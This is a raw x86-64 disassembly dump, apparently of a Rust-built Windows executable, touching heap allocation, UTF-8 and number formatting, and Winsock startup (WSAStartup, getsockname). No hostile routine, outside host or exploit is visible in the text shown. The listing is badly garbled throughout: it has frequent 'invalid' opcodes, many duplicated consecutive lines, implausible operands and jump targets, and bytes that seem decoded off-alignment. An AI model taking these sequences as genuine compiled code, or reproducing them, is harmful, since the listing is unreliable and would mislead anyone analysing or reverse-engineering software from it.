rol byte [rax], 0
add byte [rax], al
call 0x13fd27ce5
dec dword [rdi]
push rdx
invalid
mov dh, 0x45
invalid
mov ecx, dword [rbp + 0x70]
xchg ebp, eax
add byte [rax], al
mov dh, 0xc0
insb byte [rdi], dx
or dword [rbp + 1], 0xe8894dca
add edx, ecx
retf 0x894d
loop 0x140152a6e
rol dword [rcx + rbp*8], 0x99
add dword [rax], eax
add byte [rcx + rcx*4 - 0x12], cl
out dx, al
mov dh, 5
rcr byte [rax - 0x1f46fff2], 1
add byte [rcx + 0xe0], bh
add byte [rax], al
add byte [rdx + 8], bh
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add al, ch
jmp 0x189151623
jmp 0x140152a46
invalid
jmp 0x140152a46
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
stosd dword [rdi], eax
invalid
add byte [rax], al
invalid
xchg ebp, eax
add byte [rax], 0
add byte [rax], al
movups xmmword [rsi + 0x20], xmm2
adc byte [rcx + 0xf], al
adc dword [rsi], eax
invalid
movups xmmword [rsi], xmm0
jne 0x140152a8f
add byte [rax], al
add byte [rax - 0x39], cl
and byte [r9], r8b
and byte [rcx], al
add dword [rax], eax
add byte [rax], al
invalid
movabs al, byte [0xc055100fb04d100f]
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x70], ecx
invalid
invalid
invalid
invalid
add byte [rax], al
sub byte [rbp + rcx*4 + 0x65], cl
invalid
add byte [rax], r8b
cmp edi, dword [rbp + 0x18]
cmovs ecx, dword [rcx - 0x576b307]
sysret
xor byte [rdi], cl
adc byte [rbp + 0x28], al
invalid
sub byte [rdi], cl
adc byte [rbp + 0x38], cl
invalid
invalid
cmp byte [r15], r9b
cmp byte [rdi], cl
adc byte [rbp + 0x48], dl
push rbp
movups xmmword [r14 + rax + 0x20], xmm2
push rsp
invalid
invalid
adc byte [rcx + 0xf], al
adc dword [rsi + rax], eax
add al, 6
add al, 6
jge case.0x14016c73a.30
jge case.0x140126626.860
or dh, byte [rbp - 0x57]
adc byte [r15], r9b
add byte [rax], al
and byte [rax - 0x77], cl
add byte [rcx], al
mov esi, dword [rbp + 0xc0]
mov ebx, 0xb60fffff
push rbp
dec dword [rdi]
mov dh, 0x55
sub byte [rax - 0x75], cl
cmp byte [r8 - 0x75], r9b
invalid
invalid
lea r8, [0x1401f05d4]
add byte [rbp + 0x63], cl
or al, 0x90
rol dword [rcx - 1], 0xe1
add al, 0xe9
cld
add byte [rax], al
invalid
lea eax, [rdx + 1]
cmove eax, edx
add ecx, 8
add byte [rax], al
add bl, ch
add dword [rax - 0x7b], ecx
add al, 0
test eax, eax
pop rsp
add dh, byte [rcx]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, ebx
invalid
xor ebp, esi
mov ecx, ebx
invalid
mov ebx, 0xf44ffff
mov dh, 0x45
movzx eax, byte [rbp + 0x60]
invalid
jo 0x140152c83
add byte [rax - 0x73], cl
or al, 0x81
loope 0x140152c9b
lea ecx, [rax + 4]
lea edx, [rax + 1]
ror byte [rax + 1], 1
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
invalid
invalid
cmove edx, eax
ror byte [rax + 1], 1
add ecx, edx
ror dword [rax - 0x7d], 1
add ecx, 2
rol dword [rdx], 0xeb
add ch, bl
add eax, 0x2b9
add byte [rcx + rdi - 0x17], cl
cmp ecx, ebp
test eax, eax
rol byte [rax], 0
add byte [rax], al
add byte [rdi], cl
xchg dword [rsp + rax], eax
add al, 0
add byte [rbp + 4], dh
xchg esp, eax
sar dword [rdi + rbp], 0xf
invalid
invalid
xchg esp, eax
ror byte [rax], 0xc8
lea edx, [rax + 0xf000000]
adc byte [rbp + 0x28], al
cmp byte [rdi], cl
adc dword [rbp + 0x80], ecx
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x70], eax
mov ecx, dword [rbp + 0xc0]
mov dword [rbp + 0x68], ebp
test dword [rax], ebx
cwde
add byte [rax], al
add byte [rax], al
add cl, byte [rax + 0x9a85]
add byte [rax - 0x73], cl
jne 0x140152d23
add byte [rax], al
jge case.0x140150bd4.141
sub byte [rax - 0x73], cl
pop rbp
invalid
add byte [rax], al
cmp byte [rax + 3], cl
test dword [rax + 0x44000000], esp
mov byte [rax], ah
adc byte [rsi + 0x20], dl
adc dword [rax + 1], eax
add byte [rax], al
add dh, al
test edi, ecx
add byte [rax], al
add byte [rcx], al
invalid
add dword [rax - 0x77], ecx
stc
or cl, byte [rdi]
test byte [rcx + 0x41000000], bh
mov ecx, 0x41000000
mov ecx, 0x41000000
lea eax, [rsp - 6]
and al, 0xfa
cli
clc
add dword [rax + rdi - 0x7d], esi
clc
cmp byte [rbx - 0x3e8bfd08], al
rol dword [rbx + 0x6e7503f8], 0x48
mov edx, dword [rbp + 0xb0]
invalid
add byte [rax - 0x7b], cl
sal byte [rax + rsi*4 + 0x48], cl
je 0x140152d4e
invalid
retf 0x8b48
mov eax, dword [rbp + 0xa0]
test dword [rax + 0x48000000], esp
imul ecx, edx, 0x38
invalid
invalid
add byte [rax + 0x6b], cl
retf 0x8038
cmp byte [rax + 0x7509083c], al
pushfq
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x7d], cl
cmp qword [rbp + 0xb0], 0
setne dl
invalid
invalid
cmp dword [rbp + 0xb0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x39], cl
cmp qword [rbp + 0xa8], rdx
cmp dword [rbp + 0xa8], edx
cmp dword [rbp + 0xa8], edx
add byte [rax], al
add byte [rdi], cl
test dword [rsi], esi
invalid
mov ecx, esi
adc byte [rax + rax], al
add al, 0
add cl, ch
sbb edi, edi
invalid
nop dword cs:[rax + rax]
mov edx, dword [rbp + 0xb0]
add byte [rax], al
cmp edx, dword [rbp + 0xa8]
add byte [rax], al
add byte [rdi], cl
invalid
test dword [rbx], eax
invalid
invalid
iretd
mov ecx, esi
int1
invalid
dec dword [rax - 0x39]
sub byte [r9], r8b
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
xor r14b, r8b
add dword [rax - 0x75], ecx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xc0], rax
movabs al, byte [0xc0858948000000]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xb8], rax
invalid
invalid
add byte [rax], al
invalid
lea esp, [rbp + 0x61]
lea edx, reloc.WS2_32.dll_getsockname
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
je 0x1401531e8
mov rcx, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
call fcn.140046050
out dx, eax
invalid
out dx, eax
call qword [rax + 0x28c48348]
invalid
invalid
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
sub rsp, 0x58
inc rdx
inc edx
inc edx
je 0x1401532a2
mov rsi, rcx
mov rax, qword [rcx + 8]
lea rcx, [rax + rax]
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 5
add eax, 0x4bf
add byte [rax + 0xf], cl
cli
add eax, 0x4bf
add byte [rax + 0xf], cl
cli
movabs rcx, 0x24924924924924a
xor edx, edx
ror byte [rax + 0x39], cl
iretd
setb dl
ror byte [rax + 0x39], cl
iretd
imul r8, rdi, 0x38
shl rdx, 3
test rax, rax
je 0x140153269
mov rcx, qword [rsi]
imul rax, rax, 0x38
cmp byte [rax - 0x77], cl
and al, 0x28
cmp byte [rax - 0x77], cl
and al, 0x28
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x30], 8
and al, 0x30
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], rax
jmp 0x140153272
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
call fcn.140056370
cmp qword [rsp + 0x40], 0
jl 0x1401532a9
add byte [rax - 0x75], cl
and al, 0x48
jl 0x1401532a9
add byte [rax - 0x75], cl
and al, 0x48
je 0x1401532a9
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x1401532b0
test rcx, rcx
jne 0x1401532b7
invalid
adc eax, 0xebd429e8
dec dword [rdi]
or ecx, dword [rax - 0x77]
invalid
call fcn.1400106d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
push rsp
and al, 0x50
call fcn.140186620
ud2
int3
int3
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
invalid
cmp byte [rcx - 0x80], al
std
add ecx, dword [rdi]
test byte [rdx + rax], al
add byte [rax - 0x77], cl
xlatb
test ch, dh
add dword [rax], eax
add byte [rcx + 0x38], al
invalid
movzx esp, ch
mov dword [rsp + 0x28], ecx
and al, 0x28
sbb byte [rsi + 0xf], ah
invalid
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
test dword [rcx + 0x48000001], edx
mov ecx, edi
cli
movups xmm2, xmmword [rdi + 0x20]
push rdi
and byte [rdi], cl
sub dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
mov dword [rsp + 0x5f], edx
and al, 0x5f
sub ecx, dword [rsp + 0x68]
and al, 0x68
add byte [rax - 0x3476b7fe], dh
add cl, byte [rax - 0x77]
retf
cmp ch, al
mov esi, ebx
add byte [rax], al
add dh, al
mov byte [rdi + 0x39], 1
add byte [rax], al
add dword [rbp + rdi*2 + 0xf], esi
mov dh, 0xc0
rol byte [rbx - 0x7af0fd08], 0
add dword [rax], eax
add byte [rax - 0x77], cl
stc
push 0xffffffffe8fa8948
invalid
dec dword [rcx + rcx*4 - 0xd]
adc byte [r9 + 0xf], r8b
adc byte [rdi + 0x20], dl
push rdi
and byte [rdi], cl
sub dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
sub dword [rsp + 0x40], ecx
movaps xmmword [rsp + 0x50], xmm2
push rax
invalid
and al, 0x5f
sub ebx, dword [rsp + 0x68]
pop rsp
and al, 0x68
invalid
add byte [rax - 0x77], cl
pop rdi
test ebx, esi
add byte [rax], al
invalid
add byte [rax - 0x2176b6fe], dh
mov esi, ebx
nop word cs:[rax + rax]
invalid
add byte [rax], al
add dh, al
invalid
cmp dword [r8], r8d
rol byte [rcx - 0x7d], 0xfc
invalid
cmp esp, 5
cld
add eax, 0xff5c840f
test byte [rdi + rdi*8 - 1], bl
test byte [rdi + rdi*8 - 1], bl
inc dword [rcx - 0x7d]
cld
invalid
sahf
add byte [rax], al
sub eax, 0x24448b48
sub byte [rdi], cl
mov dh, 8
add dword [rcx + rbp - 0x80], esi
stc
jne 0x1401534c0
mov eax, dword [rsp + 0x28]
sub byte [rdi], cl
mov dh, 0x40
add dword [rbx + 0x2b742ff8], eax
add dword [rbx + 0x2b742ff8], eax
sub eax, dword [rbx + 0x26745cf8]
pop rsp
invalid
push qword [rcx]
ror byte [rcx - 0x7d], 0xfe
add dword [rdi], ecx
test dword [rdx], ecx
invalid
stc
jne 0x1401533d6
add edi, edi
invalid
invalid
dec dword [rax - 0x7d]
and al, 1
add dword [rax], eax
add byte [rax - 0x77], cl
add byte [rax], al
pop rdi
or dh, al
invalid
invalid
mov dh, 0xc0
cmp ch, 6
std
invalid
cmp dword [rbx], eax
add esp, 0xa8
invalid
add byte [rax], al
pop rsi
cmp dword [r8], r8d
cmp dword [rax], eax
add byte [rax - 0x7d], cl
jmp case.0x14014f2f1.202
sub ebx, 1
invalid
rol byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
pop rdi
lea eax, [0x1401f061c]
add eax, 0x9d0ee
out dx, al
ror byte [rcx], 1
invalid
add byte [rdx + 0x63], cl
or al, 0xa0
invalid
invalid
movabs al, byte [0x478b48e1ffc10148]
and byte [rax - 0x7d], cl
invalid
invalid
sar edi, 0xe1
loope 0x140153580
mov eax, dword [rdi + 0x20]
invalid
sub byte [rsp + 0x30], al
and al, 0x30
sub byte [rsp + 0x40], cl
and al, 0x40
and al, 0x40
and al, 0x50
add dword [rdi], r9d
adc qword [rdi], r9
mov eax, dword [rsp + 0x5f]
pop rdi
xor bl, ch
and byte [rax - 0x75], cl
xor byte [rax - 0x73], cl
ror dword [rax + 1], 1
ror dword [rax + 1], 1
ror byte [rax - 0x7d], 1
and byte [rax - 0x75], cl
xor byte [rax - 0x73], cl
ror dword [rax + 1], 1
ror dword [rax + 1], 1
ror byte [rax - 0x7d], 1
rol byte [rdx], 0x48
test eax, eax
invalid
add ecx, dword [rax - 0x75]
xor byte [r8 - 0x77], r9b
xor byte [rax - 0x77], cl
xor byte [rax - 0x77], cl
and byte [rdi], r9b
adc dword [r15], r9d
add eax, dword [rax]
xor al, 3
int3
mov edi, ecx
lea ecx, [rsp + 0x20]
ror byte [rax + 1], 1
retf 0x820f
invalid
invalid
invalid
invalid
sub al, 0xff
invalid
dec esp
int3
dec dword [rcx - 0x75]
fmul dword [rbp + rcx*4 + 0x3d]
jbe 0x1401539c3
invalid
nop word [rax + rax]
cmp byte [rax + 0x10], 0x23
jne 0x140153a7d
add byte [rax - 0x77], cl
pop rsp
and al, 0x20
or eax, 0xe7e39
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp - 0x28]
mov qword [rsi + 8], rax
mov al, 1
add rsp, 0x58
pop rax
pop rsi
pop rbp
ret
lea rcx, str.library_std_srcio_stdio.rs
call fcn.140186e00
ud2
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 8]
call fcn.14014a920
nop
add rsp, 0x28
pop rsi
pop rbp
ret
mov eax, edx
shr eax, 6
and al, 0x3f
invalid
or al, 0x80
mov byte [rsp + 0x25], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x26], dl
mov r8d, 3
add byte [rax], al
add bl, ch
invalid
invalid
add byte [rax], al
add bl, ch
xor eax, 0x2412e8c1
adc ah, byte [rdi + rax]
adc ah, byte [rdi + rax]
or al, 0xf0
mov byte [rsp + 0x24], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
and al, 0x25
and al, 0x25
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x26], al
and dl, 0x3f
loop 0x14015459f
loop 0x14015459f
or dl, 0x80
mov byte [rsp + 0x27], dl
and al, 0x27
and al, 0x27
mov r8d, 4
lea rdx, [rsp + 0x24]
call fcn.140154340
nop
add rsp, 0x28
ret
add cl, ch
cld
jmp 0x14015458e
dec esp
and eax, 0x58
sub byte [rax - 0x73], cl
push 0x50
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.140005270
mov rcx, qword [rbp - 0x18]
call fcn.140029350
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
int3
int3
ror dword [rax - 0x75], cl
cmp dword [rax - 0x75], ecx
or byte [r11 + r9*4 + 0x77], r9b
adc byte [rcx + rbp - 0x10], cl
cmp rax, r8
jb 0x140154d36
mov rcx, qword [rdi]
add rcx, r14
add ecx, esi
add ecx, esi
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x49000317
add esi, esi
mov eax, 0x49000317
add esi, esi
mov qword [rdi + 0x10], r14
xor eax, eax
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5f], bl
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call fcn.14018d7c0
mov r14, qword [rdi + 0x10]
jmp 0x140154d12
int3
rol byte [rcx + 0x800fa], 1
add byte [rbx + 0x1a], dh
add byte [rax], al
jae case.0x140119330.1007
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2d], dl
mov esi, 2
jmp 0x140154dfc
cmp edx, 0xffff
ja 0x140154dc8
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov esi, 3
jmp 0x140154dfc
shr eax, 0x12
and al, 7
or al, 0xf0
invalid
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edx
shr eax, 6
invalid
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov esi, 4
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov rax, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, rsi
jb 0x140154e33
invalid
and al, 0x48
mov ecx, dword [rdi]
mov rcx, qword [rdi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
push rsp
and al, 0x2c
push rsp
and al, 0x2c
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
invalid
invalid
add eax, dword [rax]
mov ecx, 0x48000316
add ebx, esi
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14018d7c0
mov rbx, qword [rdi + 0x10]
jmp 0x140154e0f
int3
int3
lea rdx, fcn.14014b450
jmp fcn.1400141d0
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
add byte [rax], 0
add byte [rax - 0x39], cl
sub r14b, r15b
invalid
invalid
add qword [r8], r8
add byte [rax - 0x75], cl
add eax, 0xe732c
invalid
invalid
invalid
add ecx, dword [rdi]
test dword [rcx + 1], ecx
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
add eax, 0xe72e3
pop rcx
cli
add dh, byte [rdx + 0x39]
and byte [r8 - 0x77], r9b
sbb r15b, r15b
adc byte [rax - 0x75], cl
sbb byte [r8 - 0x7d], r9b
js 0x140154fc6
add byte [rdi + rdx*2 + 0x48], dh
cmp dword [rax + 0x10], 0x11
invalid
adc dword [rbx + 0x39], esi
lea rsi, ds:[rsp + 0x60]
mov r8d, 0x198
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov cx, 0x202
mov rdx, rsi
bnd call qword [sym.imp.WS2_32.dll_WSAStartup]
bnd call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x2c], eax
test eax, eax
invalid
jne 0x140155813
sal byte [rbp + 0x2e], 0x48
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
add eax, 0x39ae4
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
add eax, 0x39ae4
add byte [rax - 0x77], cl
invalid
mov qword [rdi], rax
add rsp, 0x1f8
clc
add dword [rax], eax
add byte [rdi + 0x5e], bl
clc
add dword [rax], eax
add byte [rdi + 0x5e], bl
ret
or dword [rax], eax
lea r8, str.library_std_src_synconce.rs
xchg ecx, eax
invalid
invalid
invalid
xchg ecx, eax
invalid
mov edx, 0x2b
call fcn.140186b70
adc eax, dword [rbx]
add byte [rdi], cl
invalid
adc eax, dword [rbx]
add byte [rdi], cl
or ecx, dword [rax - 0x39]
and al, 0x30
add byte [rax], al
mov qword [rsp + 0x30], 0
add byte [rax], al
lea rcx, [rsp + 0x2c]
and al, 0x2c
lea rdx, [rsp + 0x30]
push rsp
and al, 0x30
call fcn.14018dc00
ud2
mov al, 0
add byte [rax], al
mov r10, rdx
mov edx, edx
mov edx, edx
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
xor al, 0xf6
rcl dword [rax], 0xf
test eax, esp
add byte [rax], al
invalid
add dword [rbx - 0x3e09cbb6], ecx
adc byte [rdi], cl
test eax, esp
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
test dword [0x18c155857], ebx
invalid
test cl, 0x20
jne 0x140155972
movsxd r8, dword [rax]
mov rax, r8
ror byte [rax - 9], 0xd8
ror byte [rax - 9], 0xd8
test r8, r8
mov ecx, r8d
cmovs rcx, rax
mov eax, 0x27
add byte [rax], al
add byte [rax - 0x7f], cl
stc
adc byte [rdi], ah
add byte [rax], al
add byte [rax], al
jb 0x1401559fe
mov esi, 0x27
movabs r9, 0x346dc5d63886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
xor al, 0x4c
lea ebx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
pop rcx
xchg byte [rax], bh
invalid
insd dword [rdi], dx
xor al, 0x4c
lea ebx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
sbb eax, 0x4fb20
mov rax, rcx
mul r9
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
invalid
imul ebx, edi, 0x147b
add byte [rcx + 0x69c729cf], cl
fistp qword [rbx + 0x14]
add byte [rax], al
invalid
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
cld
cld
movzx ebx, word [r11 + rbx*2]
mov bh, 0x1c
pop rbx
mov word [rsp + rsi + 0x2c], bx
mov dword [rsp + rsi + 0x2c], ebx
movzx edi, word [r11 + rdi*2]
mov word [rsp + rsi + 0x2e], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
jmp rax
cmc
invalid
mov rcx, rdx
jmp rax
cmc
add eax, 0x77d18948
invalid
ja 0x140155890
mov ah, 0x48
cmp edx, 0x63
cmp rdx, 0x63
jbe case.0x14014e6ee.275
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
jmp 0x109809d05
sub edx, ecx
retf 0xb70f
adc al, 0x51
add al, 0x2e
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
push rsp
add al, 0x2f
enter 0xfffffffffffff8e9, 0
add byte [rax], al
mov edx, dword [rax]
mov r8d, 0x81
mov eax, 0x30
mov r9d, edx
nop dword [rax]
invalid
invalid
invalid
invalid
mov rcx, r8
shr r9d, 4
mov r8d, edx
rol dword [rcx - 0x3f], 0xe9
add al, 0x41
mov r8d, edx
and r8b, 0xf
cmp r8b, 0xa
mov r11d, 0x57
cmovb r11d, eax
cmovb ebx, eax
cmovb ebx, eax
add r11b, r8b
mov byte [rsp + rcx + 0x2e], r11b
lea r8, [rcx - 1]
cmp edx, 0x10
mov edx, r9d
jae 0x140155940
jmp 0x1401559c0
mov r10, qword [rax]
mov edx, dword [rax]
adc byte [rcx - 0x48], al
add dword [rax], 0x30b80000
add byte [rax], al
add byte [rax + 0x30], bh
mov eax, 0x30
mov r9d, edx
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8d, 0x81
add byte [rax], al
add byte [rax + 0x30], bh
mov eax, 0x30
mov eax, 0x30
mov r9d, edx
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
rol dword [rcx - 0x3f], 0xe9
add al, 0x41
mov eax, edx
shr r9d, 4
mov r8d, edx
and r8b, 0xf
cmp r8b, 0xa
mov r11d, 0x37
mov ebx, 0x37
mov ebx, 0x37
add byte [rax], al
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
add byte [rax], al
cmovb r11d, eax
add r11b, r8b
mov byte [rsp + rcx + 0x2e], r11b
lea r8, [rcx - 1]
cmp edx, 0x10
mov edx, r9d
invalid
fadd dword [rbp]
ret
retf 0xd073
jae 0x140155990
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x140155a63
mov eax, 0x81
sub rax, r8
add byte [rcx + rbp - 0x40], cl
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1401ea6b8]
mov rdx, rcx
cmp rdx, 0x63
ja 0x1401558e2
jmp case.0x14014e6ee.275
lea r8, str.librarycore_src_fmt_num.rs
invalid
add byte [rcx + rcx*4 - 0x5b], cl
invalid
add byte [rax], al
rol byte [rbx], cl
add byte [rax], al
test byte [rcx], dl
push 0xf000001
adc byte [rcx + rdx + 0x178], cl
add byte [rcx], al
test edx, ecx
adc byte [rax], al
add byte [rax - 0x75], cl
popfq
movabs al, byte [0x7603fb8348000005]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
jl 0x140157616
jmp [rsi]
sub edx, ecx
test byte [rbp + 0x4900000a], dl
mov ecx, eax
or al, byte [rax]
add byte [rcx - 0xd76b3d2], dh
dec dword [rcx + rcx*4 - 0x43]
add al, 0
add byte [rax - 0x77], cl
mov ebp, 0x448
add eax, dword [rax]
invalid
insd dword [rdi], dx
ror byte [rbp - 0x77], 1
invalid
add byte [rax - 1], bh
test byte [rcx + rcx*4 - 1], 0x4c
mov ebp, dword [rbp + 0x5b8]
test esp, edi
invalid
cmp eax, 0x201
add byte [rax], al
cmovne eax, ecx
test dword [rax], eax
add eax, 0x89480000
invalid
ror byte [r8 - 0x77], 1
mov r8, rdi
mov eax, dword [rbp - 0x28]
push rbp
loopne 0x140158155
mov dword [rbp - 0x30], ecx
add al, 0
add byte [rax - 0x73], cl
push rbp
shr al, 1
sub byte [rax], dl
add byte [rax], al
jmp 0x14015813c
mov qword [rbp + 0x4a8], rax
mov qword [rbp + 0x4a0], 0
add byte [rax], al
add byte [rax], al
ror byte [rcx - 0x77], cl
invalid
popfq
test al, 4
add byte [rax], al
mov al, 4
add byte [rax], al
add eax, 0xb88d894c
add eax, 0x16720000
inc byte [rax]
mov eax, 0xc5
movups xmmword [rbp + 0x1b0], xmm1
movups xmmword [rbp + 0x1a0], xmm0
mov ecx, dword [rbp + 0x230]
mov edx, dword [rbp + 0x233]
mov dword [rbp + 0x1d1], ecx
mov dword [rbp + 0x1d4], edx
add byte [rax], al
add byte [rax], al
mov rcx, qword [rbp + 0x240]
add byte [rax], al
mov qword [rbp + 0x1d8], rcx
mov rcx, qword [rbp + 0x238]
mov qword [rbp + 0x1e0], rcx
movaps xmm0, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], r8
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rsi
mov byte [rbp + 0x1d0], r10b
mov r14, qword [r15]
test r14, r14
je 0x14015c5fe
ja 0x14015c189
add byte [rax], al
ja 0x14015c189
add byte [rax], al
mov rdi, qword [r15 + 8]
jg 0x14015c193
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
test rcx, rcx
mov r12, r9
jne 0x14015c1ba
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14015c5ed
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x438
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jo 0x14015c1f4
add eax, dword [rax]
jo 0x14015c1f4
add eax, dword [rax]
test rax, rax
je 0x14015c5ed
mov qword [rax + 0x160], 0
mov word [rax + 0x3d2], 0
mov qword [rax + 0x3d8], r14
fadd dword [rbx]
add byte [rax], al
fadd dword [rbx]
add byte [rax], al
lea rcx, [rdi + 1]
mov qword [r14 + 0x160], rax
xchg byte [rax + 1], ah
add byte [rax], al
xchg byte [rax + 1], ah
add byte [rax], al
add dword [rax], eax
add byte [rsi + 0x41], ah
mov dword [rsi + 0x3d0], 0x89490000
mov dword [rdi], eax
mov word [r14 + 0x3d0], 0
mov qword [r15], rax
mov dword [rdi], eax
mov dword [rdi], eax
mov qword [r15 + 8], rcx
cmp rdi, rsi
jne 0x14015c61f
movzx ecx, word [rax + 0x3d2]
add byte [rax], al
cmp rcx, 0xb
jae 0x14015c640
lea rdx, [rbp + 0x1d8]
lea r8d, [rcx + 1]
mov word [rax + 0x3d2], r8w
add dword [rax], eax
add byte [rbp + rcx*4 + 0x41], al
add dword [rsi + 0x44], esp
mov dword [rax + 0x3d2], eax
imul r8, rcx, 0x38
mov r9, qword [rbx + 0x30]
mov qword [rax + r8 + 0x198], r9
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmmword [rax + r8 + 0x188], xmm2
movups xmmword [rax + r8 + 0x178], xmm1
movups xmmword [rax + r8 + 0x168], xmm0
mov r8, rcx
shl r8, 5
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + r8 + 0x10], xmm1
movups xmmword [rax + r8], xmm0
mov rdx, qword [rbp + 0x220]
mov qword [rax + rcx*8 + 0x3e0], rdx
